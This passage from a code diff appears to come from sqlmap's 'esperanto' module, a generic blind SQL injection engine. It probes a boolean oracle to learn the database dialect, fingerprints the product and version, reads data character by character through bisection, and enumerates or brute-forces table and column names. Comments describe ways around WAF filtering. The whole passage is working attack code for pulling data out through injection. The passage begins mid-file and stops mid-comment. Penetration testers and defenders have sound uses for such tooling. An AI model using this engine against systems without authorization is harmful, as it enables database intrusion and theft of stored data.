self.dialect.notes.append("no length fn; length derived from substring end")
|
||||
self._discoverBytelen()
|
||||
self._discoverConcat()
|
||||
self._fixupLength()
|
||||
self._discoverTextcast()
|
||||
self._discoverCoalesce()
|
||||
self._discoverCompare()
|
||||
self._discoverComparator()
|
||||
self._discoverCharfrom()
|
||||
self._discoverDual()
|
||||
self._discoverIdentity()
|
||||
self._discoverCatalog()
|
||||
self._checkCompat()
|
||||
self._discovered = True
|
||||
return self.dialect
|
||||
|
||||
def _fallbackPrefix(self):
|
||||
# pure LIKE/GLOB pattern-match floor: usable when there is no workable
|
||||
# substring+length combo (substring absent, or present but unmeasurable).
|
||||
# only the pattern-INDEPENDENT capabilities (charfrom/dual/catalog use no
|
||||
# SUBSTR) are discovered; concat/compare/etc. stay None.
|
||||
if not self._discoverPrefix():
|
||||
return False
|
||||
self.dialect.substring = None # route retrieval to the pattern-match path
|
||||
self.dialect.length = None
|
||||
self.dialect.compare = "like"
|
||||
self._discoverCharfrom()
|
||||
self._discoverDual()
|
||||
self._discoverCatalog()
|
||||
self._discovered = True
|
||||
return True
|
||||
|
||||
def _discoverPrefix(self):
|
||||
# LIKE/GLOB pattern match: 'sqlmap' <op> 'sq<multi>' true, 'zz<multi>' false.
|
||||
# also measure case-sensitivity ('a' <op> 'A').
|
||||
for op, multi, single in _PREFIX:
|
||||
if self._ask("('sqlmap') %s 'sq%s'" % (op, multi)) and \
|
||||
not self._ask("('sqlmap') %s 'zz%s'" % (op, multi)):
|
||||
ci = self._ask("('a') %s 'A'" % op)
|
||||
self.dialect.prefix = Cap(op, "%s", multi=multi, single=single, case_insensitive=ci)
|
||||
return op
|
||||
return None
|
||||
|
||||
def identify(self):
|
||||
"""Fuse catalog family + required dual-table + version banner (+ behavioral
|
||||
tells) into a best-guess product with an evidence trail. Run after
|
||||
discover(). This is the CTF step: name the abomination on the other end."""
|
||||
d = self.dialect
|
||||
if not self._discovered:
|
||||
self.discover()
|
||||
ev = []
|
||||
if d.catalog:
|
||||
ev.append(("catalog = %s" % d.catalog, d.family))
|
||||
if d.dual and d.dual[0] != "bare":
|
||||
ev.append(("bare SELECT needs FROM %s" % d.dual[0], _DUAL_IMPLIES.get(d.dual[0], "?")))
|
||||
product = None
|
||||
# best-effort naming: on a permission/charset wall a probe may be undecided;
|
||||
# degrade to whatever evidence was gathered rather than crash the verdict
|
||||
try:
|
||||
# cheap behavioral tell: || is logical OR -> MySQL family (one probe, no banner)
|
||||
if d.concat and d.concat[0] != "pipes" and self._ask("(%s)=1" % _CONCAT[0][1].format(a="1", b="1")):
|
||||
ev.append(("|| is logical OR (not concat)", "MySQL family"))
|
||||
product = "MySQL"
|
||||
# the version banner is the EXPENSIVE part (blind-reading a long string), so
|
||||
# it is paid for ONLY when the catalog family can't name the product on its
|
||||
# own - i.e. the shared INFORMATION_SCHEMA / unknown-catalog case. A specific
|
||||
# catalog (SQLite/Oracle/PostgreSQL/MSSQL/...) names the product for free, and
|
||||
# --banner reads the full version explicitly via banner().
|
||||
if product is None and (not d.family or "ANSI" in d.family):
|
||||
val, implied = self._probeBanner()
|
||||
if val:
|
||||
ev.append(("banner", val))
|
||||
product = self._nameFromBanner(val) or implied
|
||||
if product is None and self._hasChars("@@version_comment"):
|
||||
comment = self.extract("@@version_comment", limit=64)
|
||||
if comment:
|
||||
ev.append(("@@version_comment", comment))
|
||||
product = self._nameFromBanner(comment)
|
||||
except OracleUndecided:
|
||||
ev.append(("product identification", "stopped (oracle undecided - permission/charset wall)"))
|
||||
|
||||
d.product = product or d.family
|
||||
d.evidence = ev
|
||||
return {"product": d.product, "version": d.version, "family": d.family,
|
||||
"dual": d.dual[0] if d.dual else None, "compare": d.compare,
|
||||
"evidence": ev}
|
||||
|
||||
def _probeBanner(self):
|
||||
# blind-read the version string (expensive - a long string over the oracle).
|
||||
# caches on the dialect; returns (version, implied_product) - some exprs imply a
|
||||
# product just by existing (e.g. H2VERSION() -> H2)
|
||||
for _label, expr, prod, implies in _BANNERS:
|
||||
if self._hasChars(expr):
|
||||
val = self.extract(expr, limit=96)
|
||||
if val:
|
||||
self.dialect.version = val
|
||||
return val, (prod if implies else None)
|
||||
return None, None
|
||||
|
||||
def banner(self):
|
||||
"""The --banner action: the full version string, read on demand ONLY. The
|
||||
fingerprint never triggers this - naming the product (identify) is cheap and
|
||||
does not need the banner unless the catalog family is ambiguous."""
|
||||
if not self._discovered:
|
||||
self.discover()
|
||||
if self.dialect.version is None:
|
||||
try:
|
||||
self._probeBanner()
|
||||
except OracleUndecided:
|
||||
pass
|
||||
return self.dialect.version
|
||||
|
||||
@staticmethod
|
||||
def _nameFromBanner(text):
|
||||
low = text.lower()
|
||||
for kw in _BANNER_KEYWORDS:
|
||||
if kw.lower() in low:
|
||||
return kw
|
||||
return None
|
||||
|
||||
def _discoverSubstring(self):
|
||||
for name, tmpl in _SUBSTRING:
|
||||
g = lambda e, p, ln: tmpl.format(expr=e, pos=p, len=ln)
|
||||
base = None
|
||||
if self._ask("%s='q'" % g("'sqlmap'", 2, 1)) and not self._ask("%s='z'" % g("'sqlmap'", 2, 1)):
|
||||
base = 1
|
||||
elif self._ask("%s='q'" % g("'sqlmap'", 1, 1)) and self._ask("%s='s'" % g("'sqlmap'", 0, 1)):
|
||||
base = 0
|
||||
if base is None:
|
||||
continue
|
||||
self.dialect.substring = Cap(name, tmpl, index_base=base)
|
||||
# base detection above CONFIRMS the substring fn works; the property
|
||||
# measurements below are best-effort and MUST NOT discard it - a probe the
|
||||
# oracle can't decide leaves the property at a safe default, never aborts.
|
||||
props = self.dialect.substring.props
|
||||
try:
|
||||
props["beyond_end"] = self._edgeBehavior(self._sub("'ABCDE'", 6, 1))
|
||||
props["zero_length"] = self._edgeBehavior(self._sub("'ABCDE'", 1, 0))
|
||||
props["unit"] = self._substringUnit()
|
||||
except OracleUndecided:
|
||||
pass
|
||||
props.setdefault("beyond_end", "unknown")
|
||||
props.setdefault("zero_length", "unknown")
|
||||
props.setdefault("unit", "unknown")
|
||||
return name
|
||||
self.dialect.substring = None
|
||||
raise RuntimeError("no working substring function found")
|
||||
|
||||
def _codeCharTmpl(self):
|
||||
# a code->char template (CHAR/CHR/NCHAR), probed ASCII-only and cached. lets
|
||||
# the unicode PROPERTY probes build a multibyte test char server-side instead
|
||||
# of pushing a raw non-ASCII byte through the URL/app/DBMS encoding layers.
|
||||
if self._codeTmpl is None:
|
||||
self._codeTmpl = False
|
||||
for _, tmpl in _CHARFROM:
|
||||
if self._ask("%s='a'" % tmpl.format(code=97)) and not self._ask("%s='b'" % tmpl.format(code=97)):
|
||||
self._codeTmpl = tmpl
|
||||
break
|
||||
return self._codeTmpl or None
|
||||
|
||||
def _substringUnit(self):
|
||||
# char vs byte, ASCII-only + self-referential: SUBSTR(<mb>,1,1) returns the
|
||||
# whole char (== <mb>) if char-based, or a partial byte (!= <mb>) if byte-based.
|
||||
# <mb> is a multibyte codepoint built from its numeric code (no raw bytes sent).
|
||||
cf = self._codeCharTmpl()
|
||||
if not cf:
|
||||
return "unknown"
|
||||
mb = cf.format(code=0x20AC) # U+20AC (multibyte in UTF-8)
|
||||
if self._ask("%s=%s" % (self._sub(mb, 1, 1), mb)):
|
||||
return "characters"
|
||||
return "bytes-or-unknown"
|
||||
|
||||
def _edgeBehavior(self, expr):
|
||||
if self._ask("%s=''" % expr):
|
||||
return "empty"
|
||||
if not self._ask("%s IS NOT NULL" % expr):
|
||||
return "null-or-error"
|
||||
return "other"
|
||||
|
||||
def _discoverLength(self):
|
||||
# prefer a CHARACTER-count fn (pass 1); fall back to any working fn (pass 2)
|
||||
# so length stays in the same unit as the char-indexed substring
|
||||
for prefer_chars in (True, False):
|
||||
for name, tmpl in _LENGTH:
|
||||
f = lambda s: tmpl.format(expr=s)
|
||||
if not (self._ask("%s=1" % f("'A'")) and self._ask("%s=2" % f("'AB'"))):
|
||||
continue
|
||||
try:
|
||||
unit = self._lengthUnit(f)
|
||||
except OracleUndecided:
|
||||
unit = "unknown"
|
||||
if prefer_chars and unit != "characters":
|
||||
continue
|
||||
trailing = self._ask("%s=2" % f("'A '")) # preserves trailing space?
|
||||
empty_null = not self._ask("(%s) IS NOT NULL" % f("''")) # LENGTH('') errors/NULL?
|
||||
self.dialect.length = Cap(name, tmpl, unit=unit, trailing=trailing,
|
||||
empty_is_null=empty_null)
|
||||
return name
|
||||
self.dialect.length = None
|
||||
raise RuntimeError("no working length function found")
|
||||
|
||||
def _lengthUnit(self, f):
|
||||
# ASCII-only: measure the length of a multibyte char built from its code.
|
||||
# 1 => character-counting, >=2 => byte-counting. no raw non-ASCII on the wire.
|
||||
cf = self._codeCharTmpl()
|
||||
if not cf:
|
||||
return "unknown"
|
||||
mb = cf.format(code=0x20AC)
|
||||
if self._ask("%s=1" % f(mb)):
|
||||
return "characters"
|
||||
if self._ask("%s>=2" % f(mb)):
|
||||
return "bytes"
|
||||
return "unknown"
|
||||
|
||||
def _fixupLength(self):
|
||||
# a length fn that trims trailing spaces (SQL Server/Sybase LEN) truncates
|
||||
# any value ending in spaces; rebuild it as LEN(x||'.')-1 with the concat.
|
||||
L = self.dialect.length
|
||||
if not L or L.get("trailing"):
|
||||
return
|
||||
if self.dialect.concat:
|
||||
joined = self.dialect.concat[1].format(a="({expr})", b="'.'")
|
||||
props = dict(L.props, trailing=True)
|
||||
self.dialect.length = Cap(L.name + "+dot", "(%s)-1" % L[1].format(expr=joined), **props)
|
||||
self.dialect.notes.append("length fn trims trailing spaces; using %s(x||'.')-1" % L.name)
|
||||
else:
|
||||
self.dialect.notes.append("length fn trims trailing spaces and no concat to correct it")
|
||||
|
||||
def _checkCompat(self):
|
||||
# substring positions and the length count must be in the SAME unit, else
|
||||
# the per-position walk desyncs on multibyte data
|
||||
s, ln = self.dialect.substring, self.dialect.length
|
||||
if s and ln:
|
||||
su, lu = s.get("unit"), ln.get("unit")
|
||||
if su == "characters" and lu == "bytes":
|
||||
self.dialect.notes.append("UNIT MISMATCH: char-indexed substring vs byte-count length - multibyte values may desync")
|
||||
|
||||
def _discoverBytelen(self):
|
||||
# a *byte*-length fn - distinguished from char length with a multibyte char
|
||||
# (a char-length fn would report 1). the char is built from its code (ASCII on
|
||||
# the wire); if it can't be built, the atlas name is trusted on the ASCII check.
|
||||
cf = self._codeCharTmpl()
|
||||
mb = cf.format(code=0x20AC) if cf else None
|
||||
for name, tmpl in _BYTELEN:
|
||||
try:
|
||||
if not self._ask("%s=2" % tmpl.format(expr="'AB'")):
|
||||
continue
|
||||
if mb and not self._ask("%s>=2" % tmpl.format(expr=mb)):
|
||||
continue # counts chars, not bytes
|
||||
except OracleUndecided:
|
||||
continue
|
||||
self.dialect.bytelen = Cap(name, tmpl)
|
||||
return name
|
||||
|
||||
def _discoverTextcast(self):
|
||||
# a cast that stringifies a number: substr(cast(123),1,1)='1' and the
|
||||
# negative sign survives (substr(cast(-42),1,1)='-')
|
||||
for name, tmpl in _TEXTCAST:
|
||||
c123, cneg = tmpl.format(expr="123"), tmpl.format(expr="-42")
|
||||
if self._ask("%s='1'" % self._sub(c123, 1, 1)) and \
|
||||
self._lenEquals(c123, 3) and \
|
||||
self._ask("%s='-'" % self._sub(cneg, 1, 1)):
|
||||
self.dialect.textcast = Cap(name, tmpl)
|
||||
return name
|
||||
|
||||
def _discoverCoalesce(self):
|
||||
# COALESCE(NULL,'X') -> 'X'. whether empty stays empty is a *measured*
|
||||
# property, not a requirement (on Oracle '' IS NULL, so it becomes 'X').
|
||||
for name, tmpl in _COALESCE:
|
||||
g = lambda e, fb: tmpl.format(expr=e, fallback=fb)
|
||||
if self._ask("%s='X'" % self._sub(g("NULL", "'X'"), 1, 1)):
|
||||
empty_distinct = self._lenEquals(g("''", "'X'"), 0)
|
||||
self.dialect.coalesce = Cap(name, tmpl, empty_distinct=empty_distinct)
|
||||
return name
|
||||
|
||||
def _discoverDual(self):
|
||||
# the tableless-SELECT FROM suffix; a non-bare match is a family fingerprint
|
||||
for name, frm in _DUAL:
|
||||
if self._ask("(SELECT 1%s)=1" % frm):
|
||||
self.dialect.dual = Cap(name, frm)
|
||||
return name
|
||||
|
||||
def _discoverConcat(self):
|
||||
# test via substring of the joined result to dodge numeric-coercion
|
||||
# false positives (MySQL 'a'+'b' -> 0, '||' -> logical OR, etc.)
|
||||
for name, tmpl in _CONCAT:
|
||||
joined = tmpl.format(a="'sq'", b="'lm'")
|
||||
if self._ask("%s='l'" % self._sub(joined, 3, 1)) and \
|
||||
self._lenEquals(joined, 4):
|
||||
self.dialect.concat = Cap(name, tmpl)
|
||||
# function-style concat (CONCAT(a,b)) may be VARIADIC - a flat
|
||||
# CONCAT(a,b,c,...) beats deeply nested CONCAT(CONCAT(...)) (smaller
|
||||
# payload, less WAF/URL surface). operators (||/+) split() to "".
|
||||
func = tmpl.split("(")[0]
|
||||
if func:
|
||||
try:
|
||||
three = "%s('s','q','l')" % func
|
||||
if self._ask("%s='q'" % self._sub(three, 2, 1)) and self._lenEquals(three, 3):
|
||||
self.dialect.concat.props["variadic"] = func
|
||||
except OracleUndecided:
|
||||
pass
|
||||
return name
|
||||
self.dialect.concat = None
|
||||
self.dialect.notes.append("no concatenation operator discovered")
|
||||
|
||||
def _discoverCompare(self):
|
||||
# 1) numeric code function - fast, unambiguous bisection
|
||||
one = self._sub("'sqlmap'", 2, 1) # -> 'q' (code 113 / 0x71)
|
||||
for name, tmpl in _CHARCODE:
|
||||
code = tmpl.format(expr=one)
|
||||
if self._ask("%s=113" % code) and not self._ask("%s=112" % code):
|
||||
self.dialect.charcode = Cap(name, tmpl, semantics=self._charcodeSemantics(tmpl))
|
||||
self.dialect.compare = "code"
|
||||
self.dialect.ordered = True
|
||||
return "code:%s" % name
|
||||
self.dialect.charcode = None
|
||||
|
||||
# 2) force byte-ordered comparison via COLLATE / binary cast - as fast as a
|
||||
# code function (one compare per bisection) and recovers case under CI /
|
||||
# locale collations. tried before hex because it's cheaper.
|
||||
for name, tmpl in _BINWRAP:
|
||||
w = lambda s: tmpl.format(x=s)
|
||||
if self._ask("%s>%s" % (w("'a'"), w("'A'"))) and \
|
||||
not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and \
|
||||
not self._ask("%s=%s" % (w("'a'"), w("'A'"))):
|
||||
self.dialect.binwrap = Cap(name, tmpl)
|
||||
self.dialect.compare = "collation"
|
||||
self.dialect.ordered = True
|
||||
return "collation:%s" % name
|
||||
|
||||
# 3) hex/byte function - collation-independent, recovers letter case even
|
||||
# under case-insensitive collations (the key fallback when code fns are
|
||||
# filtered by a WAF)
|
||||
for name, tmpl in _HEXFN:
|
||||
enc = self._hexEncoding(tmpl)
|
||||
if enc:
|
||||
self.dialect.hexfn = Cap(name, tmpl, encoding=enc)
|
||||
self.dialect.compare = "hex"
|
||||
self.dialect.ordered = True
|
||||
return "hex:%s" % name
|
||||
|
||||
# 4) direct string comparison - only trustworthy where the collation follows
|
||||
# byte order (probe the ASCII case/range invariants first)
|
||||
byteOrdered = (self._ask("'a'>'A'") and self._ask("'Z'<'a'") and self._ask("'0'<'A'"))
|
||||
if byteOrdered and self._ask("%s>'p'" % one) and not self._ask("%s>'r'" % one):
|
||||
self.dialect.compare = "ordinal"
|
||||
self.dialect.ordered = True
|
||||
return "ordinal"
|
||||
|
||||
# 5) equality scan - case-correct only under a case-sensitive collation
|
||||
if not self._ask("'a'='A'"):
|
||||
self.dialect.compare = "equality"
|
||||
return "equality"
|
||||
|
||||
# 6) last resort: case-insensitive equality. letters recovered, CASE LOST
|
||||
# (no code/hex function and a CI collation - a genuine hard limit)
|
||||
self.dialect.compare = "equality-ci"
|
||||
self.dialect.notes.append("case-insensitive collation and no code/hex function: letter case is not recoverable")
|
||||
return "equality-ci"
|
||||
|
||||
def _discoverComparator(self):
|
||||
# how to express "value > threshold" for bisection. A WAF that strips '<'/'>'
|
||||
# (very common) would otherwise leave code-mode picking '>' and silently
|
||||
# failing. Prefer '>'; else BETWEEN (ordered, no angle brackets); else fall
|
||||
# to order-free IN() subset bisection which needs only '=' membership.
|
||||
try:
|
||||
if self._ask("2>1") and not self._ask("2>3"):
|
||||
self._comparator = "gt"
|
||||
elif self._ask("2 BETWEEN 2 AND 3") and not self._ask("5 BETWEEN 2 AND 3"):
|
||||
self._comparator = "between"
|
||||
self.dialect.notes.append("'>' unusable; bisecting via BETWEEN")
|
||||
else:
|
||||
self._comparator = "membership"
|
||||
self.dialect.notes.append("no ordered comparator; using order-free IN() subset bisection")
|
||||
self._inOk = self._ask("2 IN (2,3)") and not self._ask("9 IN (2,3)")
|
||||
except OracleUndecided:
|
||||
pass # keep the safe defaults (gt / IN-ok)
|
||||
|
||||
def _charcodeSemantics(self, tmpl):
|
||||
# ASCII-only ROUND-TRIP: build a char from its code, then read the code back.
|
||||
# code(char(N))==N means extract-then-rebuild is faithful for N. no raw
|
||||
# non-ASCII byte ever crosses the URL/app/DBMS encoding layers.
|
||||
cf = self._codeCharTmpl()
|
||||
if not cf:
|
||||
return "unknown"
|
||||
code = lambda n: tmpl.format(expr=cf.format(code=n))
|
||||
try:
|
||||
if not self._ask("%s=233" % code(0x00E9)): # U+00E9 round-trips (code(charfrom(0xE9))==0xE9)
|
||||
return "unknown"
|
||||
if not self._ask("%s=8364" % code(0x20AC)): # U+20AC does NOT (single-byte codepage can't represent it)
|
||||
return "codepage" # single-byte codepage only
|
||||
# a supplementary char proves full codepoint vs a UTF-16 code-unit fn
|
||||
# (SQL Server UNICODE() returns the leading surrogate for U+1F642).
|
||||
if self._ask("%s=128578" % code(0x1F642)):
|
||||
return "codepoint"
|
||||
if self._ask("%s=55357" % code(0x1F642)): # high surrogate
|
||||
return "utf16_unit"
|
||||
return "bmp_codepoint" # verified on BMP only
|
||||
except OracleUndecided:
|
||||
return "unknown"
|
||||
|
||||
def _discoverCharfrom(self):
|
||||
for name, tmpl in _CHARFROM:
|
||||
if self._ask("%s='a'" % tmpl.format(code=97)) and \
|
||||
not self._ask("%s='b'" % tmpl.format(code=97)):
|
||||
self.dialect.charfrom = Cap(name, tmpl)
|
||||
return name
|
||||
self.dialect.charfrom = None
|
||||
|
||||
def _discoverIdentity(self):
|
||||
for kind, candidates in sorted(_IDENTITY.items()):
|
||||
for expr in candidates:
|
||||
# a valid identity expression has non-zero length; invalid -> error -> false
|
||||
if self._hasChars(expr):
|
||||
self.dialect.identity[kind] = expr
|
||||
break
|
||||
|
||||
def _discoverCatalog(self):
|
||||
for table, family, enum in _CATALOGS:
|
||||
if self._exists(table):
|
||||
self.dialect.catalog = table
|
||||
self.dialect.family = family
|
||||
self.dialect.catalogEnum = enum
|
||||
return table
|
||||
107
extra/esperanto/engine.py
Normal file
107
extra/esperanto/engine.py
Normal file
|
|
@ -0,0 +1,107 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .atlas import *
|
||||
from .records import *
|
||||
from .oracle import _OracleCore
|
||||
from .discovery import _Discovery
|
||||
from .extraction import _Extraction
|
||||
from .enumeration import _Enumeration
|
||||
|
||||
|
||||
class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration):
|
||||
"""DBMS-agnostic blind extractor. Behaviour lives in four mixins by concern
|
||||
(oracle / discovery / extraction / enumeration); this class only holds
|
||||
construction + the query counter."""
|
||||
|
||||
def __init__(self, oracle, verbose=False, maxlen=4096, retries=1, quorum=1,
|
||||
maxbytes=None, max_queries=None):
|
||||
"""oracle: callable(condition_str) -> bool.
|
||||
quorum>1 turns on majority voting (2*quorum-1 samples) so a noisy or
|
||||
intermittently-erroring oracle can't flip a single probe and corrupt a
|
||||
result; retries re-attempts a raised call before it counts as an error.
|
||||
maxlen caps text characters; maxbytes separately caps byte/hex recovery
|
||||
(default 4*maxlen); max_queries is an optional hard oracle-call ceiling."""
|
||||
if not callable(oracle):
|
||||
raise TypeError("oracle must be callable")
|
||||
self.oracle = oracle
|
||||
self.verbose = verbose
|
||||
self.maxlen = maxlen
|
||||
self.maxbytes = maxlen * 4 if maxbytes is None else maxbytes
|
||||
self.retries = retries
|
||||
self.quorum = max(1, quorum)
|
||||
self.max_queries = max_queries
|
||||
self.dialect = Dialect()
|
||||
self._queries = 0
|
||||
self._errors = 0
|
||||
self._hexProbed = False
|
||||
self._hexOrdered = None
|
||||
self._backslashEscape = None
|
||||
self._codeTmpl = None
|
||||
self._comparator = "gt" # ordered-compare op: "gt" / "between" / "membership"
|
||||
self._inOk = True # IN(...) usable (order-free subset bisection)
|
||||
self._lastTruncated = False
|
||||
self._discovered = False
|
||||
self._probing = False # True while laddering CANDIDATE rungs (discovery or lazy _ensure*): an
|
||||
# undecidable probe there = "rung unusable" -> False; elsewhere (reading
|
||||
# committed data) an undecidable probe stays undecided so it degrades loudly
|
||||
self._progress = None # optional host callback(str) for live feedback
|
||||
|
||||
@property
|
||||
def queryCount(self):
|
||||
return self._queries
|
||||
|
||||
|
||||
def hostExtract(oracle, strategy, expr, maxlen=4096):
|
||||
"""Reference HOST inference loop driven ONLY by an InferenceStrategy + oracle.
|
||||
|
||||
This is the proof that the strategy is a sufficient hand-off: it reproduces
|
||||
char-by-char extraction with zero dependency on Esperanto's own retrieval code -
|
||||
exactly what sqlmap's `bisection()`/`queryOutputLength()` would do instead, but in
|
||||
~30 lines. Covers the char-comparison modes (code / collation / ordinal /
|
||||
equality); hex mode is reachable the same way via strategy.renderHex()."""
|
||||
ask = lambda cond: bool(oracle(cond))
|
||||
L = strategy.renderLength(expr)
|
||||
if not ask("%s>=0" % L):
|
||||
return None
|
||||
if ask("%s=0" % L):
|
||||
return ""
|
||||
lo, hi = 1, min(8, maxlen)
|
||||
while hi < maxlen and ask("%s>%d" % (L, hi)):
|
||||
lo, hi = hi + 1, min(hi * 2, maxlen)
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
lo, hi = (mid + 1, hi) if ask("%s>%d" % (L, mid)) else (lo, mid)
|
||||
length = lo
|
||||
|
||||
def read(pos):
|
||||
mode = strategy.compare_mode
|
||||
if mode == "code":
|
||||
code = strategy.renderCode(expr, pos)
|
||||
top = 0x10FFFF
|
||||
for cap in (127, 255, 0xFFFF, 0x10FFFF):
|
||||
if not ask("%s>%d" % (code, cap)):
|
||||
top = cap
|
||||
break
|
||||
a, b = 0, top
|
||||
while a < b:
|
||||
m = (a + b) // 2
|
||||
a, b = (m + 1, b) if ask("%s>%d" % (code, m)) else (a, m)
|
||||
return _unichr(a)
|
||||
if mode in ("collation", "ordinal"):
|
||||
cs = _PRINTABLE_SORTED
|
||||
a, b = 0, len(cs) - 1
|
||||
while a < b:
|
||||
m = (a + b) // 2
|
||||
a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m)
|
||||
return cs[a]
|
||||
for ch in _FREQ_ORDER: # equality scan
|
||||
if ask(strategy.renderCharCmp(expr, pos, ch, "=")):
|
||||
return ch
|
||||
return _REPL
|
||||
|
||||
return "".join(read(i) for i in range(1, length + 1))
|
||||
613
extra/esperanto/enumeration.py
Normal file
613
extra/esperanto/enumeration.py
Normal file
|
|
@ -0,0 +1,613 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .atlas import *
|
||||
from .records import *
|
||||
from .wordlist import commonColumns
|
||||
from .wordlist import commonTables
|
||||
|
||||
_BRUTE_MAX_TRIES = 500 # cap existence-probes so a slow oracle can't run away
|
||||
# pseudo-columns that COUNT() accepts but that aren't real columns (would poison a dump)
|
||||
_PSEUDO_COLUMNS = frozenset(("rowid", "_rowid_", "oid", "ctid", "rownum", "xmin", "xmax"))
|
||||
|
||||
|
||||
class _Enumeration(object):
|
||||
"""_Enumeration
|
||||
|
||||
catalog walking + data dump: enumerate / columns / dump / bulk + row selection.
|
||||
When the catalog is unreadable/unknown (permission wall, exotic engine, CTF), the
|
||||
table/column listings fall back to brute-forcing common names (bruteTables /
|
||||
bruteColumns) so extraction works with zero schema knowledge."""
|
||||
|
||||
def enumerate(self, kind="table", limit=10, schema=None):
|
||||
"""Bounded enumeration by keyset (MIN(name) WHERE name>'prev') - no dialect
|
||||
row limiter needed, and cost scales with `limit`, not catalog size. `schema`
|
||||
scopes tables to one database. Falls back to brute-forcing common table names
|
||||
when the catalog is unavailable/empty. For a full dump prefer enumerateBulk."""
|
||||
names = None
|
||||
if kind in self.dialect.catalogEnum and self._canPage:
|
||||
names = self.enumerateKeyset(kind, limit, schema)
|
||||
if not names and kind == "table":
|
||||
names = self.bruteTables(limit, schema) # no catalog/paging -> guess the usual names
|
||||
return names
|
||||
|
||||
@property
|
||||
def _canPage(self):
|
||||
# keyset enumeration needs an ordered comparator or IN() (NOT IN paging); with
|
||||
# neither, the catalog walk can't advance past the first row -> use brute-force
|
||||
return self._comparator in ("gt", "between") or self._inOk
|
||||
|
||||
def bruteTables(self, limit=50, schema=None):
|
||||
"""No/unreadable catalog: discover tables by existence-probing common names
|
||||
(COUNT(*) succeeds -> exists; errors -> the oracle reads False). The 'know
|
||||
nothing about the schema' fallback, akin to sqlmap's --common-tables."""
|
||||
self.dialect.notes.append("catalog unavailable - brute-forcing common table names")
|
||||
found, tries = [], 0
|
||||
for name in commonTables():
|
||||
if len(found) >= limit or tries >= _BRUTE_MAX_TRIES:
|
||||
break
|
||||
tries += 1
|
||||
qname = self.quoteIdent(name)
|
||||
if schema is not None:
|
||||
qname = "%s.%s" % (self.quoteIdent(schema), qname)
|
||||
try:
|
||||
if self._exists(qname):
|
||||
found.append(name)
|
||||
self._emit(name)
|
||||
except OracleUndecided:
|
||||
break # oracle wall - stop, keep what we have
|
||||
return found
|
||||
|
||||
def bruteColumns(self, table, schema=None, limit=100):
|
||||
"""No/unreadable column catalog: discover columns of `table` by existence-
|
||||
probing common names (COUNT(col) succeeds -> the column exists)."""
|
||||
qtable = self.quoteIdent(table)
|
||||
if schema is not None:
|
||||
qtable = "%s.%s" % (self.quoteIdent(schema), qtable)
|
||||
found, tries = [], 0
|
||||
for col in commonColumns():
|
||||
if len(found) >= limit or tries >= _BRUTE_MAX_TRIES:
|
||||
break
|
||||
if col.lower() in _PSEUDO_COLUMNS: # rowid/ctid/oid... are queryable but not real columns
|
||||
continue
|
||||
tries += 1
|
||||
try:
|
||||
# probe the column BARE (not quoted): a nonexistent bare column errors,
|
||||
# whereas a double-quoted unknown is silently taken as a STRING LITERAL
|
||||
# on SQLite -> would pass every fake name. COUNT-free (WAF may filter it).
|
||||
if self._exists(qtable, col):
|
||||
found.append(col)
|
||||
self._emit(col)
|
||||
except OracleUndecided:
|
||||
break
|
||||
if found:
|
||||
self.dialect.notes.append("column catalog unavailable - brute-forced %d common column names" % len(found))
|
||||
return found
|
||||
|
||||
def _source(self, kind, schema=None):
|
||||
col, src, filt = self.dialect.catalogEnum[kind]
|
||||
clauses = [filt] if filt else []
|
||||
if schema is not None and "schema" in self.dialect.catalogEnum:
|
||||
scol = self.dialect.catalogEnum["schema"][0] # table_schema / OWNER / schemaname
|
||||
clauses.append("%s=%s" % (scol, self.buildLiteral(schema)))
|
||||
return col, src, ((" WHERE " + " AND ".join(clauses)) if clauses else "")
|
||||
|
||||
def enumerateKeyset(self, kind, limit=10, schema=None):
|
||||
if kind not in self.dialect.catalogEnum:
|
||||
return None
|
||||
col, src, where = self._source(kind, schema)
|
||||
return self._keysetWalk(col, src, where, limit)
|
||||
|
||||
def _keysetWalk(self, col, src, where, limit):
|
||||
# page by keyset: MIN(name) then MIN(name) WHERE name > prev. no dialect row
|
||||
# limiter needed. the FIRST query is unbounded (a space/'' seed would skip
|
||||
# identifiers sorting below it). the DB does the ordering in its own
|
||||
# collation; Python only tests EXACT repetition (collation-invariant) - never
|
||||
# a Python `<=` ordering test.
|
||||
conj = " AND " if where else " WHERE "
|
||||
names, prev = [], None
|
||||
while len(names) < limit:
|
||||
if prev is None:
|
||||
expr = "(SELECT MIN(%s) FROM %s%s)" % (col, src, where)
|
||||
else:
|
||||
beyond = self._beyondSql(col, prev, "text", seen=names)
|
||||
if beyond is None: # no ordered comparator, no IN -> can't page
|
||||
self.dialect.notes.append("enumeration stopped: no way to page (no ordered comparator, no IN)")
|
||||
break
|
||||
expr = "(SELECT MIN(%s) FROM %s%s%s%s)" % (col, src, where, conj, beyond)
|
||||
# a best-effort walk must DEGRADE, not crash: an undecided/over-budget
|
||||
# probe (permission or charset wall) stops the listing with what we have
|
||||
try:
|
||||
if not self._ask("%s IS NOT NULL" % expr):
|
||||
break
|
||||
name = self.extract(expr)
|
||||
except OracleUndecided:
|
||||
self.dialect.notes.append("enumeration stopped early (oracle undecided - permission/charset wall)")
|
||||
break
|
||||
if not name or name == prev:
|
||||
break
|
||||
names.append(name)
|
||||
self._emit(name) # live feedback per discovered name
|
||||
if _REPL in name:
|
||||
# an unrecoverable char in the name can't form a reliable keyset bound;
|
||||
# stop rather than loop on a corrupt (or repeating) boundary
|
||||
self.dialect.notes.append("enumeration stopped: %r holds an unrecoverable character" % name)
|
||||
break
|
||||
prev = name
|
||||
return names
|
||||
|
||||
def _beyondSql(self, expr, prev, unit, seen=None, boundfn=None):
|
||||
# SQL fragment picking the next un-taken row for keyset paging, honoring the
|
||||
# discovered comparator so paging survives a blocked '>'. '>' pages by "sorts
|
||||
# after prev"; a blocked '>' keeps numeric keys ordered via BETWEEN, and pages
|
||||
# text keys order-free by "key NOT IN (already-seen)" (needs only IN, and dodges
|
||||
